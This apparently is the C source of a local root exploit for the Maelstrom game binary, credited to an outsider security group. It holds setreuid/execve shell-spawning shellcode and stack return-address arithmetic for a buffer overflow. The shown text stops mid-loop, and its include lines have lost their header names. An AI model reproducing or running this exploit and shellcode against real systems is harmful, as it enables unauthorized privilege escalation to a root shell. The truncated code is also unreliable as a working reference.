/* * /usr/bin/Maelstrom local exploit * * coded by c0wboy * * (c) 0x333 Outsiders Security Labs / www.0x333.org * */ #include #include #include #define BIN "/usr/bin/Maelstrom" #define SIZE 8177 #define ALIGN 3 unsigned char shellcode[] = "\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0" "\x46\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c" "\x24\xb0\x0b\xcd\x80"; int main() { int i; char out[SIZE]; char *cya[2] = { shellcode, NULL }; int *own = (int *)(out); int ret = 0xbffffffa - strlen(shellcode) - strlen(BIN); for (i=0 ; i

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